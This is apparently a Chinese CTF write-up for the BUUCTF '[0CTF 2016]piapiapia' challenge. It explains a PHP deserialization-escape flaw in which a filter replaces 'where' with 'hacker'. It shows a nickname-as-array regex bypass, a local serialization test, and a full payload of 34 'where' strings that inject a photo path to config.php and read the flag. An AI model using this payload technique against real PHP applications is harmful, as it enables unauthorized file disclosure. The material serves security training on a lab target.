反序列化逃逸
前言
- 环境:buuctf中[0CTF 2016]piapiapia
- 知识点:反序列化逃逸,php代码审计
做题
进去题目一个登录界面,也没sql注入漏洞,用dirsearch扫一下,扫出源码
index.php用来登录
register.php用来注册
update.php用来更新资料
profile.php用来显示资料
config.php配置文件,注意到有个flag在里面,看来是要读取config.php
class.php定义了类,是主要的代码实现部分
这时我们用seay审计系统自动扫描下
发现有个file_get_contents函数,追踪$profile[\'photo\']
可以看到,这是由$profile反序列而来,而$profile 由show_profile这个函数返回的值得来
而show_profile这个函数又会调用select这个函数
select这个函数会从数据库中取出序列化的profile
显然我们是要利用数据库,来读取config.php了
这时候审计update.php,这里有个序列化函数,看来利用点就是这里,把$profile数组进行序列化,存储在数据中,然后再profile.php反序列化显示出来
跟进update_profile函数
将序列化后的字符串会被filter函数处理
跟进filter函数
implode函数表示以|连接数组以字符串的形式返回,这里相当于正则,将\'\' 和\ 替换成_ ,将select,insert,update,delete,where 替换成hacker
反序列化逃逸
当对序列化后的字符串进行过滤时,如果把要过滤的字符串替换成字符更多的字符串时,就会造成反序列化逃逸
这里将where替换成hacker 时,字符变成了,显然存在反序列化逃逸漏洞
要利用反序列化漏洞,我们构造的字符肯定也不止一两个,所以要绕过update中的格式限制
if(!preg_match(\'/^\d{11}$/\', $_POST[\'phone\']))
die(\'Invalid phone\');
if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\']))
die(\'Invalid email\');
if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
die(\'Invalid nickname\');
三个正则里面,前面两个正则都是字符串的头和尾都严格的限制了,并且形式都是只要没有匹配到就die,而nickname这里则是匹配到了就报错,显得不同,而在preg_match里匹配数组返回的是false,strlen一个数组返回的则是null
那么这里我们传入的nickname如果是个数组就可以进行绕过
我们先本地测试正常的序列化该是怎样的
<?php
$profile[\'phone\']=\'13538732675\';
$profile[\'email\']=\'2592110166@qq.com\';
$a=array(\'NineOne\');
$profile[\'nickname\']=$a;
$profile[\'photo\']=\'upload/test.png\';
var_dump(serialize($profile));
?>
a:4:{s:5:"phone";s:11:"13538732675";s:5:"email";s:17:"2592110166@qq.com";s:8:"nickname";a:1:{i:0;s:7:"NineOne";}s:5:"photo";s:15:"upload/test.png";}
我们要造成反序列化使";}s:5:"photo";s:10:"config.php";} 这里有34个字符
假设我们输入where 有x个,则5*x+34=6*x 解得x=34
那么就要构造34个where,payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
然后再访问profile.php,f12里的base64解码就是config.php得源码,得到flag